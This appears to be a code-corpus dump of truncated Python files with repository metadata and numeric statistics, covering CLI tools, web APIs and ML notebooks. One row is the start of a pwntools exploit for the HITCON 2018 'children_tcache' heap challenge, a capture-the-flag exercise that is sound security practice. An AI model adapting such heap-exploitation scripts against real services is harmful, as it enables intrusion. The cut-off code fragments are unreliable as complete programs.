# darkCTF{changeing_http_user_agent_is_easy} | 15.818182 | 44 | 0.701149 | 25 | 174 | 4.68 | 0.76 | 0.153846 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013158 | 0.126437 | 174 | 11 | 44 | 15.818182 | 0.756579 | 0.241379 | 0 | 0 | 0 | 0 | 0.305344 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0.166667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c07019f7b6ec22afdc14404eed211dccec41fdd5 | 415 | py | Python | s3-encfs-fuse.py | hirokikana/s3-encfs-fuse | ade9007bd80d163d3776e16aa040f17cf1d9c01a | [
"MIT"
] | null | null | null | s3-encfs-fuse.py | hirokikana/s3-encfs-fuse | ade9007bd80d163d3776e16aa040f17cf1d9c01a | [
"MIT"
] | null | null | null | s3-encfs-fuse.py | hirokikana/s3-encfs-fuse | ade9007bd80d163d3776e16aa040f17cf1d9c01a | [
"MIT"
] | null | null | null | #!/usr/bin/env python
#-*- coding: utf-8 -*-
from s3encfs.s3fs import S3FS
from sys import argv, exit
import logging
from fuse import FUSE
if __name__ == '__main__':
if len(argv) != 2:
print('usage: %s <mountpoint>' % argv[0])
exit(1)
logging.basicConfig(level=logging.DEBUG)
fuse = FUSE(S... | 20.75 | 49 | 0.546988 | 50 | 415 | 4.38 | 0.64 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032028 | 0.322892 | 415 | 19 | 50 | 21.842105 | 0.747331 | 0.098795 | 0 | 0 | 0 | 0 | 0.080645 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0.1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
c074c5b07e74c03ea16c6238cb3aeeccf7a67caf | 320 | py | Python | things_cli/__init__.py | thingsapi/things-cli | 33c4617f0d3c6d4a731e9b54074b235dd882ce57 | [
"Apache-2.0"
] | 49 | 2021-04-12T14:02:51.000Z | 2022-03-30T14:04:06.000Z | things_cli/__init__.py | thingsapi/things-cli | 33c4617f0d3c6d4a731e9b54074b235dd882ce57 | [
"Apache-2.0"
] | 9 | 2021-04-19T07:08:46.000Z | 2022-03-21T06:32:40.000Z | things_cli/__init__.py | thingsapi/things-cli | 33c4617f0d3c6d4a731e9b54074b235dd882ce57 | [
"Apache-2.0"
] | 2 | 2022-01-22T20:57:59.000Z | 2022-03-19T15:23:32.000Z | """A simple Python 3 CLI to read your Things app data."""
__author__ = "Alexander Willner"
__copyright__ = "2021 Alexander Willner"
__credits__ = ["Alexander Willner"]
__license__ = "Apache License 2.0"
__version__ = "0.1.2"
__maintainer__ = "Alexander Willner"
__email__ = "alex@willner.ws"
__status__ = "Development"
| 29.090909 | 57 | 0.746875 | 39 | 320 | 5.307692 | 0.74359 | 0.309179 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.036101 | 0.134375 | 320 | 10 | 58 | 32 | 0.711191 | 0.159375 | 0 | 0 | 0 | 0 | 0.463878 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c07a47cc21872cf4535bbbd9ba069eab61affe9d | 683 | py | Python | scripts/plot_compartment_strength.py | Lila14/multimds | e54642e0ae47592321352f931f534881ca57d888 | [
"MIT"
] | null | null | null | scripts/plot_compartment_strength.py | Lila14/multimds | e54642e0ae47592321352f931f534881ca57d888 | [
"MIT"
] | null | null | null | scripts/plot_compartment_strength.py | Lila14/multimds | e54642e0ae47592321352f931f534881ca57d888 | [
"MIT"
] | null | null | null | from matplotlib import pyplot as plt
import sys
sys.path.append("..")
import compartment_analysis as ca
import data_tools as dt
import os
paths = sys.argv[1:len(sys.argv)]
prefixes = [os.path.basename(path) for path in paths]
structs = [dt.structureFromBed(path) for path in paths]
mats = [dt.matFromBed(path, struct) f... | 31.045455 | 76 | 0.758419 | 114 | 683 | 4.412281 | 0.377193 | 0.095427 | 0.043738 | 0.05169 | 0.151093 | 0.079523 | 0 | 0 | 0 | 0 | 0 | 0.004983 | 0.118594 | 683 | 21 | 77 | 32.52381 | 0.830565 | 0.084919 | 0 | 0 | 0 | 0 | 0.003205 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.3125 | 0 | 0.3125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
c07c10aae3666367d1769c7f06d5b21d06210fbb | 2,245 | py | Python | server/social_network/views.py | ctcusc/django-react-boilerplate | a96631a3635dcb0450ae8c4492b50b5de0a9782b | [
"Apache-2.0"
] | 5 | 2017-09-17T23:07:36.000Z | 2021-03-16T12:23:03.000Z | server/social_network/views.py | vmagro/django-react-starter | 845ef10e7a1ca64b86ccd6e749c36e348a9cf096 | [
"Apache-2.0"
] | 3 | 2017-09-15T05:10:07.000Z | 2017-09-15T05:11:58.000Z | server/social_network/views.py | ctcusc/django-react-boilerplate | a96631a3635dcb0450ae8c4492b50b5de0a9782b | [
"Apache-2.0"
] | null | null | null | """API views for social_network."""
from rest_framework import viewsets
from rest_framework.decorators import api_view, detail_route
from rest_framework.response import Response
from rest_framework.reverse import reverse
from .models import Profile, Post, Vote
from .serializers import ProfileSerializer, PostSerialize... | 34.015152 | 90 | 0.67706 | 278 | 2,245 | 5.402878 | 0.363309 | 0.051265 | 0.045273 | 0.058589 | 0.228362 | 0.188415 | 0.188415 | 0.163782 | 0.163782 | 0.163782 | 0 | 0 | 0.212918 | 2,245 | 65 | 91 | 34.538462 | 0.850028 | 0.22539 | 0 | 0.121212 | 0 | 0 | 0.049464 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.181818 | 0 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
c07da45b05b153a511794fcaa73731777a34dc3e | 4,112 | py | Python | HITCON/2018/children_tcache/exploit.py | Per5ianCat/ctf-writeups | 1fd27f5d9619bddf670f25343948a8fe2f005f63 | [
"MIT"
] | 476 | 2019-10-23T10:53:18.000Z | 2021-03-30T10:54:19.000Z | HITCON/2018/children_tcache/exploit.py | lqhuyapcs/PersianCatsCTF | de26220cb0af73eb79d9d829c5a4b72f61aac5d2 | [
"MIT"
] | 9 | 2020-03-29T07:33:39.000Z | 2021-03-20T09:50:56.000Z | HITCON/2018/children_tcache/exploit.py | lqhuyapcs/PersianCatsCTF | de26220cb0af73eb79d9d829c5a4b72f61aac5d2 | [
"MIT"
] | 61 | 2019-11-11T08:39:16.000Z | 2021-03-27T16:49:16.000Z | #!/usr/bin/env python
from pwn import *
def new_heap(size, data, attack=False):
p.sendlineafter('Your choice: ', '1')
p.sendlineafter('Size:', str(size))
if attack:
return
p.sendafter('Data:', data)
if len(data) < size:
p.sendline()
def show_heap(index):
p.sendlineafter('Your ... | 33.16129 | 83 | 0.650049 | 649 | 4,112 | 3.987673 | 0.360555 | 0.037867 | 0.029753 | 0.027821 | 0.061824 | 0.040958 | 0 | 0 | 0 | 0 | 0 | 0.075169 | 0.242947 | 4,112 | 123 | 84 | 33.430894 | 0.756184 | 0.541829 | 0 | 0.159091 | 0 | 0 | 0.081986 | 0 | 0 | 0 | 0.070439 | 0 | 0 | 0 | null | null | 0 | 0.022727 | null | null | 0.045455 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c084479cedf9b86ba2c70f63c0258928cb4a7bef | 589 | py | Python | tests/bmc_test.py | reich6534/SumoPY | fb03db75e3799bad2759c0017f8919893690b289 | [
"Apache-2.0"
] | null | null | null | tests/bmc_test.py | reich6534/SumoPY | fb03db75e3799bad2759c0017f8919893690b289 | [
"Apache-2.0"
] | 4 | 2020-08-10T15:07:40.000Z | 2020-08-25T19:30:29.000Z | tests/bmc_test.py | reich6534/SumoPY | fb03db75e3799bad2759c0017f8919893690b289 | [
"Apache-2.0"
] | 1 | 2020-06-19T14:21:26.000Z | 2020-06-19T14:21:26.000Z | from nose.tools import *
from bmc.book import Book
def setup():
print ("SETUP!")
def teardown():
print("TEAR DOWN!")
def test_bookname():
matthew = Book("Matthew", 27)
assert_equal(matthew.name, "Matthew")
@raises (IndexError)
def test_small():
B = Book("Genesis", 50)
B.set_chapter_descr(0, ... | 17.848485 | 47 | 0.663837 | 80 | 589 | 4.7625 | 0.525 | 0.091864 | 0.099738 | 0.120735 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.026915 | 0.179966 | 589 | 32 | 48 | 18.40625 | 0.761905 | 0 | 0 | 0.173913 | 0 | 0 | 0.156463 | 0 | 0 | 0 | 0 | 0 | 0.043478 | 1 | 0.304348 | false | 0 | 0.086957 | 0 | 0.391304 | 0.086957 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0914675f47af2eea3be2033a39d0ef71d04144d | 5,394 | py | Python | snipz/main.py | deta/programs | 24efcdb63bca2e4b31bc639030f55a6f1c5d6232 | [
"MIT"
] | 5 | 2020-03-06T09:01:17.000Z | 2020-06-24T20:07:52.000Z | snipz/main.py | deta/programs | 24efcdb63bca2e4b31bc639030f55a6f1c5d6232 | [
"MIT"
] | null | null | null | snipz/main.py | deta/programs | 24efcdb63bca2e4b31bc639030f55a6f1c5d6232 | [
"MIT"
] | null | null | null | import secrets, string
from deta.lib import App, Database
from fastapi.responses import HTMLResponse
from deta.lib.responses import JSON
from fastapi import FastAPI, Response
from fastapi.middleware.cors import CORSMiddleware
from passlib.context import CryptContext
from pydantic import BaseModel
from jinja2 import Tem... | 27.380711 | 77 | 0.687245 | 703 | 5,394 | 5.1266 | 0.203414 | 0.049945 | 0.034961 | 0.039956 | 0.350999 | 0.251942 | 0.210877 | 0.210877 | 0.187569 | 0.187569 | 0 | 0.011999 | 0.181127 | 5,394 | 197 | 78 | 27.380711 | 0.803939 | 0.083241 | 0 | 0.283582 | 0 | 0 | 0.100061 | 0.024509 | 0 | 0 | 0 | 0 | 0 | 1 | 0.089552 | false | 0.126866 | 0.067164 | 0.022388 | 0.462687 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
c09c0cdf144d421b367d116add1049bdc74263eb | 1,135 | py | Python | python3/incident/set-owner-and-members-by-phase.py | ibmresilient/resilient-scripts | c2d02f149b2d69747d711f95485b953381cbca0f | [
"MIT"
] | 26 | 2017-12-22T00:26:42.000Z | 2022-03-24T18:32:48.000Z | python3/incident/set-owner-and-members-by-phase.py | ibmresilient/resilient-scripts | c2d02f149b2d69747d711f95485b953381cbca0f | [
"MIT"
] | 3 | 2021-02-24T18:53:09.000Z | 2022-02-22T02:30:48.000Z | python3/incident/set-owner-and-members-by-phase.py | ibmresilient/resilient-scripts | c2d02f149b2d69747d711f95485b953381cbca0f | [
"MIT"
] | 14 | 2019-02-28T11:45:44.000Z | 2021-12-21T09:59:25.000Z | # (c) Copyright IBM Corp. 2010, 2020. All Rights Reserved.
# Script to set incident owner and members based on Incident Phase.
# To be run when the phase changes.
# Phase is a select field with API name `phase_id`,
# so the tests below are written as
# if incident.phase_id == "value":
# Based on the current phas... | 42.037037 | 86 | 0.725991 | 178 | 1,135 | 4.561798 | 0.483146 | 0.080049 | 0.073892 | 0.062808 | 0.064039 | 0.064039 | 0 | 0 | 0 | 0 | 0 | 0.008696 | 0.189427 | 1,135 | 26 | 87 | 43.653846 | 0.873913 | 0.696035 | 0 | 0 | 0 | 0 | 0.31307 | 0.133739 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c09f24e88fa46b2d53f24ba0094a9b5884651710 | 1,108 | py | Python | alana_pepper/src/alana_node_classes/behaviour_manager.py | cdondrup/inaugural_pepper | 409758df86e7ad1e4d6831fdbc2cf0f7670868b2 | [
"MIT"
] | null | null | null | alana_pepper/src/alana_node_classes/behaviour_manager.py | cdondrup/inaugural_pepper | 409758df86e7ad1e4d6831fdbc2cf0f7670868b2 | [
"MIT"
] | null | null | null | alana_pepper/src/alana_node_classes/behaviour_manager.py | cdondrup/inaugural_pepper | 409758df86e7ad1e4d6831fdbc2cf0f7670868b2 | [
"MIT"
] | null | null | null | import rospy
import service_utils as su
from nao_interaction_msgs.srv import BehaviorManagerControl, BehaviorManagerControlRequest
from nao_interaction_msgs.srv import BehaviorManagerInfo, BehaviorManagerInfoRequest
def start_behaviour(name):
su.call_service(
"/naoqi_driver/behaviour_manager/start_behavio... | 25.181818 | 90 | 0.684116 | 105 | 1,108 | 6.971429 | 0.409524 | 0.106557 | 0.053279 | 0.07377 | 0.478142 | 0.478142 | 0.199454 | 0.144809 | 0.144809 | 0 | 0 | 0.002407 | 0.25 | 1,108 | 43 | 91 | 25.767442 | 0.87846 | 0 | 0 | 0.342857 | 0 | 0 | 0.131769 | 0.131769 | 0 | 0 | 0 | 0 | 0 | 1 | 0.114286 | false | 0.057143 | 0.114286 | 0 | 0.257143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
c0a155936fdd60e85bf7a1d0be184beb1c190c5a | 5,320 | py | Python | next_word_prediction_using_universal_sentence_encoder.py | Adminixtrator/Next-Word-Prediction-using-Universal-Sentence-Encoder. | e9012ed7a75aaea78850f07f8cb28ce223dd5e3f | [
"MIT"
] | 4 | 2020-12-31T16:15:28.000Z | 2021-09-17T19:02:19.000Z | next_word_prediction_using_universal_sentence_encoder.py | Adminixtrator/Next-Word-Prediction-using-Universal-Sentence-Encoder. | e9012ed7a75aaea78850f07f8cb28ce223dd5e3f | [
"MIT"
] | null | null | null | next_word_prediction_using_universal_sentence_encoder.py | Adminixtrator/Next-Word-Prediction-using-Universal-Sentence-Encoder. | e9012ed7a75aaea78850f07f8cb28ce223dd5e3f | [
"MIT"
] | 1 | 2021-02-06T05:40:02.000Z | 2021-02-06T05:40:02.000Z | # -*- coding: utf-8 -*-
"""Next-Word Prediction using Universal Sentence Encoder.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1r2ma5P7w2LE30L1o5mAyNPLE7Qi3JxoL
# **Google drive for local storage**
_NB: All comments are written to facilitate s... | 26.206897 | 156 | 0.714662 | 754 | 5,320 | 4.949602 | 0.404509 | 0.014469 | 0.019293 | 0.005895 | 0.045552 | 0.045552 | 0.033762 | 0.033762 | 0.033762 | 0.033762 | 0 | 0.016889 | 0.154135 | 5,320 | 203 | 157 | 26.206897 | 0.812444 | 0.362406 | 0 | 0.026667 | 1 | 0 | 0.110181 | 0.008368 | 0 | 0 | 0 | 0 | 0 | 1 | 0.026667 | false | 0 | 0.293333 | 0.013333 | 0.333333 | 0.013333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0a31b20a9691ff14df174c0e99e8e4bd6d80394 | 5,011 | py | Python | app/services/hubspot.py | PrudhviRaj5/boilerplate-sanic | 40230f02f17b5b9948864209240186efca3b2794 | [
"MIT"
] | null | null | null | app/services/hubspot.py | PrudhviRaj5/boilerplate-sanic | 40230f02f17b5b9948864209240186efca3b2794 | [
"MIT"
] | null | null | null | app/services/hubspot.py | PrudhviRaj5/boilerplate-sanic | 40230f02f17b5b9948864209240186efca3b2794 | [
"MIT"
] | null | null | null | import requests
import ujson
# from b2b_app.config import CONFIG
class Hubspot:
def __init__(self, hub_id, refresh_token):
self.hub_id = hub_id
self.refresh_token = refresh_token
self.access_token = self.get_access_token(refresh_token)
self._lists_url = 'https://api.hubapi.com/conta... | 23.525822 | 68 | 0.513869 | 485 | 5,011 | 5.068041 | 0.189691 | 0.037022 | 0.043938 | 0.04882 | 0.569976 | 0.553702 | 0.522376 | 0.511798 | 0.511798 | 0.459723 | 0 | 0.055681 | 0.379964 | 5,011 | 212 | 69 | 23.636792 | 0.735436 | 0.050489 | 0 | 0.614458 | 0 | 0 | 0.12136 | 0.061211 | 0 | 0 | 0 | 0 | 0 | 1 | 0.180723 | false | 0.138554 | 0.012048 | 0 | 0.198795 | 0.048193 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
c0ad2211f73f48ad8fa49a9d4df5a365c73c96da | 6,220 | py | Python | ceilometer/opts.py | andymcc/ceilometer | fa3b047eb17152b30829eadd9220f12ca9949b4f | [
"Apache-2.0"
] | null | null | null | ceilometer/opts.py | andymcc/ceilometer | fa3b047eb17152b30829eadd9220f12ca9949b4f | [
"Apache-2.0"
] | null | null | null | ceilometer/opts.py | andymcc/ceilometer | fa3b047eb17152b30829eadd9220f12ca9949b4f | [
"Apache-2.0"
] | null | null | null | # Copyright 2014 eNovance
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, so... | 43.496503 | 78 | 0.686977 | 667 | 6,220 | 6.32084 | 0.29985 | 0.148008 | 0.039848 | 0.025617 | 0.158681 | 0.086338 | 0.068311 | 0.068311 | 0.068311 | 0.068311 | 0 | 0.003755 | 0.22926 | 6,220 | 142 | 79 | 43.802817 | 0.875678 | 0.162701 | 0 | 0 | 0 | 0 | 0.098149 | 0.004049 | 0 | 0 | 0 | 0.007042 | 0 | 1 | 0.017699 | false | 0.00885 | 0.380531 | 0.017699 | 0.415929 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
c0b2557c53ca53f8da2c37ae8ed0cce07772a4e3 | 328 | py | Python | Python/CeV/Exercicios/ex38.py | WerickL/Learning | 5a9a488f0422454e612439b89093d5bc11242e65 | [
"MIT"
] | null | null | null | Python/CeV/Exercicios/ex38.py | WerickL/Learning | 5a9a488f0422454e612439b89093d5bc11242e65 | [
"MIT"
] | null | null | null | Python/CeV/Exercicios/ex38.py | WerickL/Learning | 5a9a488f0422454e612439b89093d5bc11242e65 | [
"MIT"
] | null | null | null | from math import floor
n1 = float(input('Digite um número inteiro:'))
n2 = float(input('Digite outro número inteiro:'))
if floor(n1) > floor(n2):
print('O primeiro número é maior que o segundo!')
elif floor(n1) < floor(n2):
print('O segundo número é maior que o primeiro')
else:
print('Os dois números são ig... | 32.8 | 53 | 0.692073 | 53 | 328 | 4.283019 | 0.528302 | 0.092511 | 0.140969 | 0.123348 | 0.317181 | 0.176211 | 0 | 0 | 0 | 0 | 0 | 0.022222 | 0.176829 | 328 | 9 | 54 | 36.444444 | 0.818519 | 0 | 0 | 0 | 0 | 0 | 0.484756 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.111111 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0b287f7838990b3946ea902117a62944403ed03 | 428 | py | Python | Implementations/Kattis/others/02/Impl-02-2/armystrenghteasy.py | MilladMuhammadi/Competitive-Programming | 9f84a2d2734a5efe0e1fde0062e51782cd5af2c6 | [
"MIT"
] | null | null | null | Implementations/Kattis/others/02/Impl-02-2/armystrenghteasy.py | MilladMuhammadi/Competitive-Programming | 9f84a2d2734a5efe0e1fde0062e51782cd5af2c6 | [
"MIT"
] | null | null | null | Implementations/Kattis/others/02/Impl-02-2/armystrenghteasy.py | MilladMuhammadi/Competitive-Programming | 9f84a2d2734a5efe0e1fde0062e51782cd5af2c6 | [
"MIT"
] | null | null | null | for i in range(int(input())):
input()
Ng,Nm = map(int,input().split())
g=list(map(int,input().split()))
m=list(map(int,input().split()))
g.sort()
m.sort()
gg,mm=0,0
while (gg<Ng and mm<Nm):
if (m[mm]<=g[gg]):
mm+=1
else:
gg+=1
if (gg==Ng):
... | 22.526316 | 36 | 0.464953 | 62 | 428 | 3.209677 | 0.435484 | 0.160804 | 0.165829 | 0.241206 | 0.291457 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013746 | 0.320093 | 428 | 19 | 37 | 22.526316 | 0.670103 | 0 | 0 | 0.105263 | 0 | 0 | 0.06993 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.157895 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0b8919899e9f29c2f53cee11de5acd600241863 | 430 | py | Python | PythonTest/t32.py | Hyyyyyyyyyy/acm | d7101755b2c2868d51bb056f094e024d0333b56f | [
"MIT"
] | null | null | null | PythonTest/t32.py | Hyyyyyyyyyy/acm | d7101755b2c2868d51bb056f094e024d0333b56f | [
"MIT"
] | null | null | null | PythonTest/t32.py | Hyyyyyyyyyy/acm | d7101755b2c2868d51bb056f094e024d0333b56f | [
"MIT"
] | null | null | null | the_count = [1,2,3,4,5]
fruits = ['apple','orange','pear','apricot']
change = [1,'pennies',2,'dimes',3,'quarters']
for num in the_count:
print "This is count %d" % num
for i in fruits:
print "A fruit of type: %s" % i
for i in change:
print "I got %r" % i
elements = []
j = "5"
for i in range(0, 6):
pri... | 22.631579 | 45 | 0.588372 | 78 | 430 | 3.217949 | 0.538462 | 0.063745 | 0.095618 | 0.055777 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.033333 | 0.232558 | 430 | 18 | 46 | 23.888889 | 0.727273 | 0 | 0 | 0 | 0 | 0 | 0.281395 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.3125 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0b9a3b63c9c1f754b03468f4c86ee5e50e59176 | 8,581 | py | Python | src/lib/pytch/actor.py | Liampobob/pytch-vm | bb2cf19c0736d467daf195635a9de9903aaa1237 | [
"MIT"
] | null | null | null | src/lib/pytch/actor.py | Liampobob/pytch-vm | bb2cf19c0736d467daf195635a9de9903aaa1237 | [
"MIT"
] | null | null | null | src/lib/pytch/actor.py | Liampobob/pytch-vm | bb2cf19c0736d467daf195635a9de9903aaa1237 | [
"MIT"
] | null | null | null | from pytch.syscalls import (
play_sound,
registered_instances,
wait_seconds,
)
from pytch.project import FRAMES_PER_SECOND
def _is_number(x):
return isinstance(x, int) or isinstance(x, float)
class Actor:
Sounds = []
_appearance_names = None
def start_sound(self, sound_name):
p... | 30.214789 | 82 | 0.59725 | 1,028 | 8,581 | 4.64786 | 0.18677 | 0.067392 | 0.035789 | 0.027627 | 0.301381 | 0.232524 | 0.18041 | 0.163667 | 0.129343 | 0.110925 | 0 | 0.006845 | 0.31896 | 8,581 | 283 | 83 | 30.321555 | 0.810746 | 0.062697 | 0 | 0.253589 | 0 | 0 | 0.080075 | 0.002615 | 0 | 0 | 0 | 0 | 0 | 1 | 0.200957 | false | 0 | 0.009569 | 0.062201 | 0.344498 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0bc75817ff06d96bc29a0b91e2d9cd635e4dd08 | 1,918 | py | Python | setup.py | CSCfi/beacon-network | ad23f5fd75a5685b8e7b7fd4755749fc8c26fe75 | [
"Apache-2.0"
] | 3 | 2019-01-16T11:59:49.000Z | 2020-05-26T15:21:16.000Z | setup.py | CSCfi/beacon-network | ad23f5fd75a5685b8e7b7fd4755749fc8c26fe75 | [
"Apache-2.0"
] | 64 | 2019-01-16T08:14:10.000Z | 2022-03-07T08:10:39.000Z | setup.py | CSCfi/beacon-network | ad23f5fd75a5685b8e7b7fd4755749fc8c26fe75 | [
"Apache-2.0"
] | 1 | 2019-10-28T14:54:24.000Z | 2019-10-28T14:54:24.000Z | from setuptools import setup
setup(
name="beacon_network",
version="1.4.0",
description="Beacon Network services",
long_description_content_type="text/markdown",
project_urls={
"Source": "https://github.com/CSCfi/beacon-network",
},
author="CSC - IT Center for Science",
... | 30.444444 | 119 | 0.500521 | 204 | 1,918 | 4.627451 | 0.544118 | 0.041314 | 0.029661 | 0.03178 | 0.033898 | 0 | 0 | 0 | 0 | 0 | 0 | 0.067227 | 0.317518 | 1,918 | 62 | 120 | 30.935484 | 0.653934 | 0 | 0 | 0.065574 | 0 | 0 | 0.528017 | 0.069504 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.016393 | 0 | 0.016393 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c0c5ab8e57adb0be8f030e177ab93d6954d3389c | 1,328 | py | Python | networkit/test/test_matching_algorithms.py | angriman/network | 3a4c5fd32eb2be8d5b34eaee17f8fe4e6e141894 | [
"MIT"
] | 366 | 2019-06-27T18:48:18.000Z | 2022-03-29T08:36:49.000Z | networkit/test/test_matching_algorithms.py | angriman/network | 3a4c5fd32eb2be8d5b34eaee17f8fe4e6e141894 | [
"MIT"
] | 387 | 2019-06-24T11:30:39.000Z | 2022-03-31T10:37:28.000Z | networkit/test/test_matching_algorithms.py | angriman/network | 3a4c5fd32eb2be8d5b34eaee17f8fe4e6e141894 | [
"MIT"
